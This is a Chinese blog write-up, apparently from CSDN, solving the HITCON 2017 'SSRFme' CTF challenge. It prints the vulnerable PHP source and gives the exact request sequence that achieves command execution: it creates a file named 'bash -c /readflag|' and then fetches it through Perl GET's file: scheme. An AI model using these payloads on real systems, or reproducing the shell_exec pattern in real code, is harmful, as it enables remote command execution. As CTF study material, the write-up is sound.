[HITCON 2017]SSRFme

给了源码

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];//输出ip地址

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);//创建文件夹
    @chdir($sandbox);//改变目录至改目录下

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);//pathinfo()函数
    $dir  = str_replace(".", "", basename($info["dirname"]));//目录路径
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);//文件名
    highlight_file(__FILE__);

这里会将orange和ip地址进行拼接,然后md5加密,创建该文件夹。

需要注意shell_exec("GET " . escapeshellarg($_GET["url"]))存在命令执行,前提是文件名可控,且文件必须存在,然后才能触发代码执行

perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)_WHOAMIAnony的博客-CSDN博客 

首先查看下根目录文件

?url=/&filename=a

创建后,访问

/sandbox/xxxxxxxxxxxxxxxxx/a

其中xxxxxxxxxxxxxxxxx每个人都不同,这里只是代称,可以通过本地运行得到

<?php
$a = "111.111.111.111";//举例
$sandbox = "sandbox/" . md5("orange" . $a);
echo $sandbox;//输出xxxxxxxxxxxxxxxxxxx

 

可以看到有个readflag

先创建文件bash -c /readflag|

?url=&filename=bash -c /readflag|

创建文件后,再通过file协议,将读取的flag放入$data中,通过file_put_contents导入a中,然后访问a即可

?url=file:bash -c /readflag|&filename=a
/sandbox/xxxxxxxxxxxxxxxx/a

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值